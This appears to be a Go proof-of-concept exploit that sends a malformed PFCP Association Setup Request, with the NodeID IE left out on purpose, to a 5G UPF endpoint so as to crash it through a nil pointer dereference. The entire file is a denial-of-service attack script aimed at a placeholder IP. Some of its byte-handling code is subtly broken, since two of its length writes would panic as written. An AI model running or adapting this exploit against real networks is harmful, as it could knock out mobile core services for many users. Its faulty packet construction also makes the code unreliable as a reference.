package main
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"time"
)
// PFCP Header Structure
type PFCPHeader struct {
Version uint8
MessageType uint8
Length uint32
Sequence uint32
}
// PFCP IE Types
const (
IE_NodeID = 0x0001
)
func main() {
// Target UPF N4/PFCP endpoint
targetIP := "<UPF_IP>"
targetPort := "8805"
// Connect to PFCP endpoint
addr, err := net.ResolveUDPAddr("udp", targetIP+":"+targetPort)
if err != nil {
fmt.Printf("[-] Failed to resolve address: %v\n", err)
return
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
fmt.Printf("[-] Failed to connect: %v\n", err)
return
}
defer conn.Close()
fmt.Println("[+] Connected to UPF PFCP endpoint")
// Build malicious PFCP Association Setup Request without NodeID IE
payload := buildMaliciousPFCPMessage()
fmt.Printf("[+] Sending malicious PFCP Association Setup Request (%d bytes)\n", len(payload))
// Send the malicious packet
_, err = conn.Write(payload)
if err != nil {
fmt.Printf("[-] Failed to send packet: %v\n", err)
return
}
fmt.Println("[+] Packet sent successfully")
fmt.Println("[+] The UPF should crash due to nil pointer dereference")
// Wait and check if UPF responds
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
buffer := make([]byte, 4096)
_, _, err = conn.ReadFromUDP(buffer)
if err != nil {
fmt.Println("[+] No response received - UPF likely crashed")
}
}
func buildMaliciousPFCPMessage() []byte {
var buf bytes.Buffer
// PFCP Header: Version=1, MessageType=5 (Association Setup Request)
header := []byte{0x20, 0x05, 0x00, 0x00}
// Sequence Number: 0x00000001
sequence := []byte{0x00, 0x00, 0x00, 0x01}
// Sender's F-SEID (optional, but helps make it look like valid request)
fseid := buildFSEIDIE()
// OMIT NodeID IE - this triggers the vulnerability
// Build IE list without NodeID
ieData := fseid
// Calculate message length (header + ie data)
msgLength := uint32(4 + len(ieData)) // 4 bytes for header extension
// Update header with actual length
binary.BigEndian.PutUint32(header[1:], msgLength)
buf.Write(header)
buf.Write(sequence)
buf.Write(ieData)
return buf.Bytes()
}
func buildFSEIDIE() []byte {
var buf bytes.Buffer
// IE Type: F-SEID (57)
buf.Write([]byte{0x00, 0x39})
// IE Length (placeholder)
ieContent := []byte{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // F-SEID value
0x00, // IPv4 indicator
0x00, 0x00, 0x00, 0x01, // IPv4 address
}
ieLength := uint16(len(ieContent))
binary.BigEndian.PutUint16(buf.Next(2), ieLength)
buf.Write(ieContent)
return buf.Bytes()
}